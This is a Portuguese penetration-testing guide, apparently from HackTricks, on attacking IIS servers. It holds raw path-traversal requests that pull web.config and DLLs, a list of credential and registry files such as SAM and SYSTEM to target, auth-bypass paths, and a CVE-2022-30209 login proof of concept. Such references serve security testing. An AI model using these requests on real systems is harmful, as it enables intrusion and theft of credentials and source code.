22 KiB
IIS - Serviços de Informação na Internet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Teste as extensões de arquivo executáveis:
- asp
- aspx
- config
- php
Divulgação de endereço IP interno
Em qualquer servidor IIS onde você obtenha um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta, o cabeçalho Location pode apontar para o endereço IP interno:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Resposta que revela o IP interno:
Quando um servidor IIS é acessado, ele pode responder com um cabeçalho HTTP contendo o endereço IP interno do servidor. Isso pode ser explorado por um atacante para obter informações sobre a rede interna do servidor e lançar ataques adicionais. Para evitar isso, é recomendável desativar a opção "Enviar cabeçalhos de servidor" nas configurações do IIS.
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Executar arquivos .config
Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexar o código ao final do arquivo dentro de um comentário HTML: Baixe o exemplo aqui
Mais informações e técnicas para explorar essa vulnerabilidade aqui
Bruteforce de Descoberta do IIS
Baixe a lista que eu criei:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Ela foi criada mesclando o conteúdo das seguintes listas:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Use-o sem adicionar nenhuma extensão, os arquivos que precisam dela já a possuem.
Traversal de Caminho
Vazamento de código-fonte
{% hint style="info" %}
Em resumo, existem vários arquivos web.config dentro das pastas do aplicativo com referências a arquivos "assemblyIdentity" e "namespaces". Com essas informações, é possível saber onde os executáveis estão localizados e baixá-los.
A partir dos Dlls baixados, também é possível encontrar novos namespaces onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.
Além disso, os arquivos connectionstrings.config e global.asax podem conter informações interessantes.
Referência: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% endhint %}
Como qualquer aplicativo .Net, os aplicativos MVC têm um arquivo web.config, onde as tags XML "assemblyIdentity" identificam todos os arquivos binários que o aplicativo usa.
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
</configSections>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
</appSettings>
<system.web>
<authentication mode="None" />
<compilation debug="true" targetFramework="4.6.1" />
<httpRuntime targetFramework="4.6.1" />
</system.web>
<system.webServer>
<modules>
<remove name="FormsAuthentication" />
</modules>
</system.webServer>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Optimization" />
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="WebGrease" />
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Helpers" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Mvc" />
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.WebPages" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
</assemblyBinding>
No resultado anterior, você pode encontrar referências a vários "assemblyIdentity". Esses são arquivos que podem estar localizados dentro da pasta /bin. Por exemplo: /bin/WebGrease.dll.
Outros arquivos que podem ser encontrados no diretório raiz de uma aplicação .Net são /global.asax.
<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>
E /connectionstrings.config
Nota: este arquivo contém senhas!
<connectionStrings>
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
</connectionStrings>
Namespaces
Além disso, as aplicações .Net MVC são estruturadas para definir outros arquivos web.config, com o objetivo de incluir qualquer declaração para namespaces específicos para cada conjunto de páginas de visualização, aliviando os desenvolvedores de declarar namespaces "@using" em cada arquivo.
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Optimization"/>
<add namespace="System.Web.Routing" />
<add namespace="WebApplication1" />
Baixando DLLs
A partir de uma resposta anterior, a declaração de um namespace personalizado (já que outros namespaces são padrões) sugere que uma DLL chamada "WebApplication1" está presente no diretório /bin.
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]
Do resultado anterior, dentro do diretório /bin, você também poderá encontrar os Dlls:
- System.Web.Mvc.dll
- System.Web.Mvc.Ajax.dll
- System.Web.Mvc.Html.dll
- System.Web.Optimization.dll
- System.Web.Routing.dll
Suponhamos que o DLL anterior esteja importando um namespace chamado WebApplication1.Areas.Minded. Um invasor pode inferir que outros arquivos web.config estão presentes na aplicação, em caminhos previsíveis/padrão como /nome-da-área/Views/, contendo configurações específicas que podem se referir a outros arquivos DLL presentes na pasta /bin.
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Routing" />
<add namespace="System.Web.Optimization" />
<add namespace="WebApplication1" />
<add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>
Observe que na saída anterior é possível ver um novo namespace chamado: WebApplication1.AdditionalFeatures, o que indica que há outro arquivo Dll na pasta /bin chamado WebApplication1.AdditionalFeatures.dll
Arquivos comuns
A partir daqui
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
Erro 404 HTTPAPI 2.0
Se você vir um erro como o seguinte:
Isso significa que o servidor não recebeu o nome de domínio correto no cabeçalho Host.
Para acessar a página da web, você pode dar uma olhada no Certificado SSL fornecido e talvez possa encontrar o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar forçar VHosts até encontrar o correto.
Vulnerabilidades antigas do IIS que valem a pena procurar
Vulnerabilidade/Característica do caractere til “~” do Microsoft IIS - Divulgação de nome curto de arquivo/pasta
Você pode tentar enumerar pastas e arquivos dentro de cada pasta descoberta (mesmo que esteja exigindo Autenticação Básica) usando esta técnica.
A principal limitação desta técnica se o servidor for vulnerável é que só pode encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão dos arquivos.
Você pode usar https://github.com/irsdl/IIS-ShortName-Scanner para testar essa vulnerabilidade:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Pesquisa original: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Você também pode usar o metasploit: use scanner/http/iis_shortname_scanner
Bypass de Autenticação Básica
Bypass de autenticação básica (IIS 7.5) tentando acessar: /admin:$i30:$INDEX_ALLOCATION/admin.php
ou /admin::$INDEX_ALLOCATION/admin.php
Você pode tentar misturar essa vulnerabilidade e a última para encontrar novas pastas e burlar a autenticação.
Depuração habilitada do ASP.NET Trace.AXD
O ASP.NET inclui um modo de depuração e seu arquivo é chamado trace.axd
.
Ele mantém um registro muito detalhado de todas as solicitações feitas a um aplicativo por um período de tempo.
Essas informações incluem IPs de clientes remotos, IDs de sessão, todos os cookies de solicitação e resposta, caminhos físicos, informações de código-fonte e potencialmente até nomes de usuário e senhas.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
Cookie ASPXAUTH
ASPXAUTH usa as seguintes informações:
validationKey
(string): chave codificada em hexadecimal para uso na validação de assinatura.decryptionMethod
(string): (padrão "AES").decryptionIV
(string): vetor de inicialização codificado em hexadecimal (padrão para um vetor de zeros).decryptionKey
(string): chave codificada em hexadecimal para uso na descriptografia.
No entanto, algumas pessoas usarão os valores padrão desses parâmetros e usarão como cookie o e-mail do usuário. Portanto, se você encontrar um site usando a mesma plataforma que está usando o cookie ASPXAUTH e você criar um usuário com o e-mail do usuário que deseja se passar no servidor sob ataque, você pode ser capaz de usar o cookie do segundo servidor no primeiro e se passar pelo usuário.
Este ataque funcionou neste relatório.
Bypass de Autenticação IIS com senhas em cache (CVE-2022-30209)
Um bug no código não verificou corretamente a senha fornecida pelo usuário, então um invasor cujo hash de senha atinge uma chave que já está no cache poderá fazer login como esse usuário (relatório completo aqui).
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.